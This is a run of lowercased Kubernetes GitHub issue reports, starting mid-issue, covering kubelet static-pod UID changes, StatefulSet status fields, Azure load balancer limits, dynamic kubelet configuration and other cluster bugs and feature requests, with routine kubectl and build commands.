reference to a persistentvolumeclaim in the same namespace \r     claimname:  debian-mirror-pvc\r     readonly:   false\r $ kubectl get pvc -n debian-mirror\r name                status    volume            capacity   access modes   storageclass   age\r debian-mirror-pvc   bound     large-storage-2   1500gi     rwo                           21d\r    \r \r       anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r  bare-metal typhoon kubernetes  https://typhoon.psdn.io/cl/bare-metal/ , 3 controller nodes and 4 worker nodes\r    \r $ kubectl get nodes\r name           status    roles               age       version\r <redacted>     ready     controller,master   60d       v1.10.3\r <redacted>     ready     controller,master   60d       v1.10.3\r <redacted>     ready     controller,master   60d       v1.10.3\r <redacted>     ready     node                60d       v1.10.3\r <redacted>     ready     node                60d       v1.10.3\r <redacted>     ready     node                60d       v1.10.3\r <redacted>     ready     node                60d       v1.10.3\r    \r - install tools:\r  typhoon bare-metal installation guide  terraform   https://typhoon.psdn.io/cl/bare-metal/ \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r on a node, once i updated kubelet, my static pods got destroyed and created again. the pod-manifest file hasn't changed. as you can see in the reproduce section, the pod-uid-hash is not always the same. i'm saying hash, because  the responsible function uses a hashing mechanism  https://github.com/kubernetes/kubernetes/blob/484f62a5686f718429907c2fec8406749e2f6260/pkg/kubelet/config/common.go l61 , but not on the file source, but the pod object. i assume, whenever there are changes to the  podspec  struct, the hashing is affected.\r \r    \r   extract from log with kubelet from branch release-1.11\r i0817 12:11:13.747555   32038 file.go:194  reading config file \ /etc/kubernetes/manifests/mypod.yaml\ \r i0817 12:11:13.762258   32038 common.go:62  generated uid \ 8f6a44fc62e8cb075753c843896568ca\  pod \ mypod\  from /etc/kubernetes/manifests/mypod.yaml\r i0817 12:11:13.762327   32038 common.go:66  generated name \ mypod-nb-myusername\  for uid \ 8f6a44fc62e8cb075753c843896568ca\  from url /etc/kubernetes/manifests/mypod.yaml\r i0817 12:11:13.762355   32038 common.go:71  using namespace \ default\  for pod \ mypod-nb-myusername\  from /etc/kubernetes/manifests/mypod.yaml\r i0817 12:11:13.762614   32038 config.go:303  setting pods for source file\r i0817 12:11:13.762694   32038 config.go:414  receiving a new pod \ mypod-nb-myusername_default 8f6a44fc62e8cb075753c843896568ca \ \r    \r \r this mechanism is not problematic with \ normal\  pods using the apiserver, because the uid is persisted in etcd, so it has not to be regenerated. but with static pods, kubelet has to recalculate the hash everytime it restarts and thus it's problematic, when the same pod file gets another hash once you update kubelet to a specific version, which has changes to the  podspec  struct\r \r \r   what you expected to happen  :\r \r for static pods the pod-uid hash always stays the same, as long as the source file hasn't been changed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create static pod and never change it\r    \r $ cat /etc/kubernetes/manifests/mypod.yaml \r apiversion: v1\r kind: pod\r metadata:\r   name: mypod\r spec:\r   containers:\r   - name: mycontainer\r     image: nginx\r    \r \r \r checkout kubelet release-1.10 branch  produces pod-uid-hash  48b3f8e02a516f5b15dd20aa1a1090e1  \r    \r $ git checkout release-1.10\r switched to branch 'release-1.10'\r ...\r \r $ make what=cmd/kubelet\r ...\r +++  0816 17:31:39  building go targets for linux/amd64:\r     cmd/kubelet\r \r $ kubelet --version\r kubernetes v1.10.7-beta.0.29+4f9126864c76e7\r \r $ sudo env \ path=$path\  kubelet --pod-manifest-path /etc/kubernetes/manifests --fail-swap-on=false\r ...\r w0816 17:35:22.240968   19956 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r w0816 17:35:22.244472   19956 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r i0816 17:35:22.244520   19956 server.go:376  version: v1.10.7-beta.0.29+4f9126864c76e7\r ...\r \r $ docker ps\r container id        image                        command             created             status              ports               names\r 1d62edd6bdc1        k8s.gcr.io/pause-amd64:3.1   \ /pause\             6 seconds ago       up 5 seconds                            k8s_pod_mypod-nb-myusername_default_48b3f8e02a516f5b15dd20aa1a1090e1_0\r    \r \r \r checkout kubelet release-1.11 branch  produces pod-uid-hash  8f6a44fc62e8cb075753c843896568ca  \r    \r $ git checkout release-1.11\r switched to branch 'release-1.11'\r ...\r \r $ make what=cmd/kubelet\r ...\r +++  0816 17:37:14  building go targets for linux/amd64:\r     cmd/kubelet\r \r $ kubelet --version\r kubernetes v1.11.3-beta.0.7+10ecc6db83fd47\r \r $ sudo env \ path=$path\  kubelet --pod-manifest-path /etc/kubernetes/manifests --fail-swap-on=false\r ...\r i0816 17:39:41.977073   10472 server.go:408  version: v1.11.3-beta.0.7+10ecc6db83fd47\r i0816 17:39:41.977214   10472 plugins.go:97  no cloud provider specified.\r w0816 17:39:41.977249   10472 server.go:549  standalone mode, no api client\r w0816 17:39:42.050206   10472 server.go:465  no api server defined - no events will be sent to api server.\r ...\r \r $ docker ps\r container id        image                  command             created             status              ports               names\r 10b9566327c3        k8s.gcr.io/pause:3.1   \ /pause\             2 seconds ago       up 1 second                             k8s_pod_mypod-nb-myusername_default_8f6a44fc62e8cb075753c843896568ca_0\r    \r \r \r checkout kubelet v1.10.5 tag  produces pod-uid-hash  48b3f8e02a516f5b15dd20aa1a1090e1  \r \r    \r $ git checkout v1.10.5\r note: checking out 'v1.10.5'.\r ...\r \r $ make what=cmd/kubelet\r ...\r +++  0817 11:30:06  building go targets for linux/amd64:\r     cmd/kubelet\r \r $ kubelet --version\r kubernetes v1.10.5\r \r $ sudo env \ path=$path\  kubelet --pod-manifest-path /etc/kubernetes/manifests --fail-swap-on=false\r  sudo  password for myusername: \r ...\r w0817 11:34:42.567970   15353 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r w0817 11:34:42.571096   15353 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r i0817 11:34:42.571159   15353 server.go:376  version: v1.10.5\r \r $ docker ps\r container id        image                        command             created             status                  ports               names\r 858ebf5f057c        k8s.gcr.io/pause-amd64:3.1   \ /pause\             2 seconds ago       up less than a second                       k8s_pod_mypod-nb-myusername_default_48b3f8e02a516f5b15dd20aa1a1090e1_2\r    \r \r \r   anything else we need to know?  :\r \r prestop hook is not an option because kubelet doesn't know the old pod - it just want's to get rid of the old one immediatly. there is currently no way to prevent or control the deletion and thus leaving broken state and/or data even on a hostpath volume - situation depends on the application stack.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r statefulset missing .status.updatereplicas when all stateful pod running and ready\r \r   what you expected to happen  :\r statefulset should keep .status.updatereplicas when all stateful pod running and ready\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a statefulset, eg busybox\r    \r $ cat sts.yaml \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: busybox\r   namespace: isomateset\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: busybox\r   template:\r     metadata:\r       labels:\r         app: busybox\r     spec:\r       containers:\r       - args:  \ sh\ ,\ -c\ ,\ sleep 10000000000000\  \r         name: busybox\r         image: busybox\r         imagepullpolicy: ifnotpresent\r $ kubectl create -f sts.yml --validate=false\r    \r 2. wait all pod running and ready, check statefulset status\r    \r $ kubectl get -f sts.yml\r name      desired   current   age\r busybox   1         1         47s\r $ kubectl get -f sts.yml -o json | jq .status\r {\r   \ collisioncount\ : 0,\r   \ currentreplicas\ : 1,\r   \ currentrevision\ : \ busybox-5c9bc6dbb5\ ,\r   \ observedgeneration\ : 1,\r   \ readyreplicas\ : 1,\r   \ replicas\ : 1,\r   \ updaterevision\ : \ busybox-5c9bc6dbb5\ \r }\r    \r \r   anything else we need to know?  :\r if missing .status.updatereplicas,  rollout status sts  command will stuck..\r    \r kubectl rollout status sts busybox\r waiting for partitioned roll out to finish: 0 out of 1 new pods have been updated...\r    \r because rollout command will use updatedreplicas to check if roll out completed\r https://github.com/kubernetes/kubernetes/blob/release-1.11/pkg/kubectl/rollout_status.go l139\r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl.sh rollout status sts busybox\r waiting for partitioned roll out to finish: 0 out of 1 new pods have been updated...\r    \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.6 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.6 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux smile 4.15.0-47-generic  50~16.04.1-ubuntu smp fri mar 15 16:06:21 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

i defined a headless service with spec:\r    \r spec:\r   clusterip: none\r   selector:\r     app: elasticsearch\r     role: master\r   ports:\r     - port: 9300\r       name: node-to-node\r    \r and the pods it should select have readiness probe:\r    \r readinessprobe:\r   httpget:\r     path: /\r     port: 9200\r   initialdelayseconds: 30\r   timeoutseconds: 5\r   periodseconds: 60\r    \r thus got error when describe service:\r ! image  https://user-images.githubusercontent.com/11716601/58321134-e7eb8980-7e4f-11e9-8b9f-1b9bada6d005.png \r \r so my question is: can a pod be selected by a service before first readiness check pass? should i change my readinessprobe of these pods?

the flag has been deprecated for many releases and can be removed.\r \r the depreciation guide specifies that admin-only cli flags can be removed after 6 months: https://kubernetes.io/docs/reference/using-api/deprecation-policy/\r \r   /

branched from  14273.  i'm examining logs from http://kubekins.dls.corp.google.com/job/kubernetes-e2e-gce-scalability/2507/  the specific failure is  gave up waiting for pod 'density-latency-pod-13a751c5-6114-11e5-9c0e-42010af01555-4' to be 'running' after 5m0s   that pod is on node  e2e-scalability-minion-rrnh . here's some logs in the midst of the problematic behavior.      i0922 10:36:13.884852       5 handlers.go:143  get /api/v1/pods?fieldselector=spec.nodename%3de2e-scalability-minion-rrnh:  18.485022573s  200   kubelet/v1.1.0  linux/amd64  kubernetes/09cf38e  10.240.84.162:39917  ... i0922 10:36:14.667254       5 handlers.go:143  get /api/v1/watch/pods?fieldselector=spec.nodename%3de2e-scalability-minion-rrnh&resourceversion=338101:  709.10701ms  0   kubelet/v1.1.0  linux/amd64  kubernetes/09cf38e   ... i0922 10:36:27.254781       5 handlers.go:143  get /api/v1/pods?fieldselector=spec.nodename%3de2e-scalability-minion-rrnh:  11.524191846s  200   kubelet/v1.1.0  linux/amd64  kubernetes/09cf38e  10.240.84.162:39917  ... goroutine 1337888  running : k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc2b1e7a480, 0x1f4      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:188 +0x9a k8s.io/kubernetes/pkg/apiserver.writejson 0x1f4, 0x7f4c2d21b238, 0xc2080f7120, 0x7f4c2d21b9d0, 0xc2e6266a00, 0x7f4c2d069698, 0xc2b1e7a480, 0x1      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:399 +0x2b7 k8s.io/kubernetes/pkg/apiserver.errorjson 0x7f4c2d215f40, 0xc2e3f47d00, 0x7f4c2d21b238, 0xc2080f7120, 0x7f4c2d069698, 0xc2b1e7a480, 0xc2c6ad8760      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:406 +0xab k8s.io/kubernetes/pkg/apiserver.func·027 0xc211459ad0, 0xc2b1e7a540      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:256 +0xc2a github.com/emicklei/go-restful.func·009 0xc211459ad0, 0xc2b1e7a540      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:244 +0x41 github.com/emicklei/go-restful.  filterchain .processfilter 0xc211459b60, 0xc211459ad0, 0xc2b1e7a540      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/filter.go:21 +0xa2 k8s.io/kubernetes/pkg/apiserver.func·003 0xc211459ad0, 0xc2b1e7a540, 0xc211459b60      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:61 +0x8b github.com/emicklei/go-restful.  filterchain .processfilter 0xc211459b60, 0xc211459ad0, 0xc2b1e7a540      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/filter.go:19 +0x84 github.com/emicklei/go-restful.  container .dispatch 0xc2082a8090, 0x7f4c2d069698, 0xc2b1e7a480, 0xc213644b60      /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:246 +0xee3 github.com/emicklei/go-restful. container. github.com/emicklei/go-restful.dispatch ·fm 0x7f4c2d069698, 0xc2b1e7a480, 0xc213644b60      /go/src/k8s.io/kubernetes/godeps/_workspa   kubelet/v1.1.0  linux/amd64  kubernetes/09cf38e  10.240.252.125:54303  e0922 10:36:31.057767       5 errors.go:62  apiserver received an error that is not an unversioned.status: too old resource version: 338159  341885  i0922 10:36:31.057953       5 handlers.go:143  get /api/v1/watch/pods?fieldselector=spec.nodename%3de2e-scalability-minion-rrnh&resourceversion=339493:  3.717997659s  500      note that the stack trace and the error lines don't correspond exactly, because threading and many similar things fail simultaneously.  list/watch behavior is problematic. there's two examples above. in the first, the list took 18  !  seconds, and the watch ended  unknown reason  after only 700ms. in the second, the list took 11s, and when the watch was attempted only 4 seconds later, it was already too late, the resource version was out of date.  so my request here is an integration  or unit  test that directly tests that watches do not drop under these circumstances. it should be possible to write this test given @wojtek-t's new cacher.

something like:      yaml rules: - host: foo.bar.com   path: /api   backend:   - servicename: alpha1     weight: 1, or 33%   - servicename: alpha2     weight: 2, or 66%      there'er ways to achieve similar splitting with either a deployment or by managing service labels so they span a mix of alpha1 and alpha2 endpoints, but this seems more intuitive.  on gce i think we'd have to use iptables stats to  satisfy that, but we can't push it down into a service because today a single service only understands homogenous endpoints.  nginx and haproxy understand wrr, so the 33% and 66% would have to apply to all the endpoints of the service, and we'd just need to make sure the tie is broken evenly.

documenting the list of known issues with federation replicasets:\r \r -      kubectl delete rs  not working as expected: https://github.com/kubernetes/kubernetes/issues/38493, https://github.com/kubernetes/kubernetes/issues/42594.\r -     bug in  kubectl delete rs --cascade=false : https://github.com/kubernetes/kubernetes/issues/38223\r -     enable federation-apiserver kubectl tests for replicasets: https://github.com/kubernetes/kubernetes/issues/39984.\r -     figure out a path to ga for federatedreplicasetpreferences.\r -     verify that rebalancing works and add a test for that: https://github.com/kubernetes/kubernetes/issues/33312\r -     document how rebalancing works: https://github.com/kubernetes/kubernetes.github.io/issues/1362

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r if i have multiple pods under a service with sessionaffinity as  clientip , then the request from different client may be proxied to same pod.\r \r   what you expected to happen  :\r proxy the different request from different client to different pods.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

kubectl tests for federation is flaking in pre-submit tests. \r \r here is one such failure. https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/44987/pull-kubernetes-unit/28480/?log log\r \r we need to fix this with  pre-submit tests are affected by this issue.\r after high level analysis and discussion with @nikhiljindal, it looks like identical issue which happened for secrets.\r \r cc @nikhiljindal @kubernetes/sig-federation-bugs

@kubernetes/kubernetes-release-managers \r @kubernetes/test-infra-maintainers \r @kubernetes/sig-testing-bugs \r  \r gce serial and gci gce serial started failing last evening\r \r https://k8s-testgrid.appspot.com/release-master-blocking gce-serial\r https://k8s-testgrid.appspot.com/release-master-blocking gci-gce-serial\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r there are redundant examples for kubectl rollout because subcomands supply their own example.\r \r   what you expected to happen  :\r i think we don't need give examples for  kubectl rollout and remove these examples.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r the check of burstablecpushares is redundancy. we have done it in millicputoshares. it is responsibility of millicputoshares.\r    \r func  m  qoscontainermanagerimpl  setcpucgroupconfig configs map v1.podqosclass  cgroupconfig  error {\r         ........\r \t// set burstable shares based on current observe state\r \tburstablecpushares := millicputoshares burstablepodcpurequest \r \tif burstablecpushares < uint64 minshares  {\r \t\tburstablecpushares = uint64 minshares \r \t}\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r    environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r according to the nature of azure network, it is implement things a little different. so right now, we are facing many issues.\r 1. we have seeing resources leaking. the reason is that, to enable k8s's loadbalancer, we need multiple resources from azure, such as azure loadbalancer, azure network security group, azure public ip, etc. and also azure loadbalancer, and azure network security group are shared resources across different services. the fact makes resources are more likely to out of sync. i have seen public ip resource remains, after remove the corresponding service\r \r 2. for azure k8s cluster, we currently only use a single azure load balancer resource to hold configs for all the services. because the limitation of one azure load balancer resources, such as we only can create 150 lb rules by default, we somehow limited the number of services user can create. \r \r 3. similar to azure lb's limit, network security group also has limit for its rules. it also limits number of services user can create. \r \r   what you expected to happen  :\r 1. we expect resources for one service can share the same life cycle of the corresponding service.\r 2. we expect we can create more azure lb resources, so services can be distributed on more multiple azure lbs. it increases the number of services user can create. \r 3. we expect to consolidate nsg rules. services can share the exact same nsg rule in many scenarios. in this way, we can dramatically decrease number of rules for cluster. it also improves number of services user can create. \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. when we delete services, if we hit 429 after removed azure lb config, but before removing azure public ip. the public ip will stay there forever, until manually cleaned up.\r 2. only one lb is used. it is the current behavior\r 3. create 2 services, only with name different. you will see two exact same nsg rules created. which is unnecessary.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

after upgrading from v1.9.3 to v1.9.5 it appears files mounted into containers via configmap are now immutable.\r \r my use case is that i mount a text file template into the pod via a configmap and i have an init container that edits the text file in place before my main pod starts.\r \r my workaround is to get the init container to copy the file from the configmap into an emptydir rather than edit in place.

   what happened  :\r \r  kubectl get all  stopped printing resource type after upgrading client from 1.9.3 to 1.10.0\r  feature merged in  27379 \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ brew switch kubernetes-cli 1.9.3\r cleaning /usr/local/cellar/kubernetes-cli/1.9.3\r cleaning /usr/local/cellar/kubernetes-cli/1.10.0\r 167 links created for /usr/local/cellar/kubernetes-cli/1.9.3\r $  kubectl get all | head -n 2\r name                         desired   current   up-to-date   available   age\r deploy/audience-service      1         1         1            1           1d\r $  brew switch kubernetes-cli 1.10.0\r $  kubectl get all | head -n 2\r name                  desired   current   up-to-date   available   age\r audience-service      1         1         1            1           1d\r    \r \r   anything else we need to know?  :\r \r note that the server is 1.8.10\r \r   environment  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-27t00:13:02z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.10\ , gitcommit:\ 044cd262c40234014f01b40ed7b9d09adbafe9b1\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t17:44:09z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r on a cluster with nfs pvs and a recycler pod, occasionally a recycle operation causes the volume controller to start using 100% cpu. it never seems to recover until the controller is restarted.\r \r   what you expected to happen  :\r \r recycles should happen or the controller should handle any related errors gracefully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a cluster with a nfs pv\r 2. create a pvc and delete the pvc in a loop until you notice the volume controller cpu usage go to 100% and stay there.\r \r   anything else we need to know?  :\r \r i believe i have tracked the problem down in  pkg/volume/util/recyclerclient . in  watchpod   , if one of the two channels being watched  pod updates and events  is closed, the  for / select  loop turns into a tight infinite loop because the  select  immediately falls through due to the channel being closed.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.2507+a62a157c488385-dirty\ , gitcommit:\ a62a157c4883852472dc0ad7b8fcb506a0095672\ , gittreestate:\ dirty\ , builddate:\ 2018-04-14t02:55:56z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.2507+a62a157c488385-dirty\ , gitcommit:\ a62a157c4883852472dc0ad7b8fcb506a0095672\ , gittreestate:\ dirty\ , builddate:\ 2018-04-14t02:55:56z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r \r a lot of the behavior of  genericscheduler  is captured inside the informer event handlers in  pkg/scheduler/factory/factory.go . our code will be easier to maintain if the behavior of  genericscheduler  is not spread across different packages, so we should move all informer event handlers to be methods of  genericscheduler .\r \r \r when these functions move, we should also fix their names to be consistent. most of them are named like  onpvadd  and there are a few that need to be updated to match this pattern.\r \r see also: https://github.com/kubernetes/kubernetes/issues/68954\r \r   /help\r \r \r   update:  \r after discussion, we decided that it is better to move the event handlers into the  k8s.io/kubernetes/pkg/scheduler  package.\r

starting from kubernetes 1.11 dynamickubeletconfig is activated by default, so this should always be present.\r \r   what happened  :\r when setting up a dynamic kubelet configuration the user is required to manually edit the node configurations  using kubectl edit node node_   so that the node knows where to get it's corresponding kubelet configuration configmap. \r for the kubelet to actively seek for a dynamic configuration the parameter '--dynamic-config-dir' has to be passed on the respective kubelet service creation arguments. note that if this arguments are not passed the kubelet ends up by settling with the local/default configurations setup defined by arguments and/or configfile.\r \r this parameter on the kubelet should be enough to activate or not the dynamic kubelet setup.\r \r   what you expected to happen  :\r the master should attach default values on the spec.configsource parameters when responding to a node register request  when dynamickubeletconfig activated - kubernetes > 1.11 . this way the only operation needed to be done on the master is to create/replace the degault configmap.\r \r this can be done because the minion kubelet uses last known working configuration if the kubelet configmap is not found or the key is wrong, as well as this configmap is only searched if the kubelet has the corresponding argument\r \r   how to reproduce it  as minimally and precisely as possible   :\r   minion nodes operations\r replace kubelet_configuration\r    bash\r     this is the kubelet definition\r   kubernetes kubelet  minion  config\r   the address for the info server to serve on  set to 0.0.0.0 or \ \  for all interfaces \r kubelet_address=\ --address=0.0.0.0\ \r   the port for the info server to serve on\r   kubelet_port=\ --port=10250\ \r   you may leave this blank to use the actual hostname\r kubelet_hostname=\ \ \r   edit the kubelet.kubeconfig to have correct cluster server address\r kubelet_kubeconfig=/etc/kubernetes/kubelet.kubeconfig\r   add your own!\r kubelet_args=\ $ /etc/kubernetes/get_require_kubeconfig.sh   --kubeconfig /etc/kubernetes/kubelet-config.yaml --hostname-override=kube-fycutlofs4bl-minion-0 --dynamic-config-dir=/var/lib/kubelet/dynamic  --cloud-provider=openstack --cloud-config=/etc/kubernetes/kube_openstack_config --pod-infra-container-image=gcr.io/google_containers/pause:3.0 --client-ca-file=/etc/kubernetes/certs/ca.crt --tls-cert-file=/etc/kubernetes/certs/kubelet.crt --tls-private-key-file=/etc/kubernetes/certs/kubelet.key\ \r    \r   kubelet-config has the minimal/default kubelet configuration parameters. in this case it only knows how to contact the kube-api service and validate both the service and itself\r    yaml\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /etc/kubernetes/certs/ca.crt\r     server: https://10.0.0.6:6443\r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     user: system:node:kube-fycutlofs4bl-minion-0\r   name: default\r current-context: default\r kind: config\r preferences: {}\r users:\r - name: system:node:kube-fycutlofs4bl-minion-0\r   user:\r     as-user-extra: {}\r     client-certificate: /etc/kubernetes/certs/kubelet.crt\r     client-key: /etc/kubernetes/certs/kubelet.key\r    \r   master operation  for replacing default configmap or if it does not exist \r create the kubelet dynamic configuration configmap\r    bash\r kubelet_config_configmap=\ ${kube_manifests_path}/kubelet_config_configmap.yaml\ \r cat > ${kubelet_config_configmap} <<eof\r kind: configmap\r apiversion: v1\r data:\r   kubelet: |\r     kind: kubeletconfiguration\r     apiversion: kubelet.config.k8s.io/v1beta1\r     address: ${kube_node_ip}\r     cgroupsperqos: true\r     cgroupdriver: ${cgroup_driver}\r     readonlyport: 0\r     authentication:\r       x509:\r         clientcafile: ${cert_dir}/ca.crt\r       webhook:\r         enabled: true\r       anonymous:\r         enabled: false\r     authorization:\r       mode: webhook\r     tlscertfile: ${cert_dir}/kubelet.crt\r     tlsprivatekeyfile: ${cert_dir}/kubelet.key\r     clusterdomain: ${dns_cluster_domain}\r     clusterdns:\r       - ${dns_service_ip}\r     featuregates:\r       csipersistentvolume: true\r       mountpropagation: true\r metadata:\r   name: kubelet\r   namespace: kube-system\r eof\r    \r   restart the minion services:\r    bash\r systemctl restart kubelet.service && journalctl -f -u kubelet.service\r    \r \r by now, the dynamic configuration should work, but it does not. to trigger the minions to update we have to manually patch each node with the spec.configsource object. for example using:\r    bash\r kubectl -n kube-system patch node node_  -p '{\ spec\ :{\ configsource\ :{\ configmap\ :{\ name\ :\ kubelet\ ,\ namespace\ : \ kube-system\ ,\ kubeletconfigkey\ :\ kubelet\ }}}}'\r    \r \r   anything else we need to know?  :\r \r   environment  :\r  \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : fedora 27  atomic host \r - kernel  e.g.  uname -a  : linux kube-fork-2puyljuevin5-master-0.novalocal 4.14.18-300.fc27.x86_64  1 smp thu feb 8 01:35:31 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: automated  openstack-magnum \r - others:\r \r <!-- do not edit below this line -->\r    

https://github.com/googlecloudplatform/kubernetes/pull/9759 added a short-circuit to  checknodeselectormatching  which allows all pods if the kubelet thinks it is in standalonemode.   standalonemode  defaults to  true  if the kubelet's initial apiserver list is empty. this means it is very easy to put a kubelet in a state where it is not enforcing  pod.spec.nodeselector , which is a major component of securing which nodes a pod can be run on.

i was not able to find any official documentation for the container states and troubleshooting information about them. i'd imagine this to be quite useful for people just getting started, just being able to e.g. look up  crashloopbackoff , get a description, some common causes and debugging tips for related issues.

e.g. doesn't break queuedpods, assumedpods, or scheduledpods.  ref/  17865

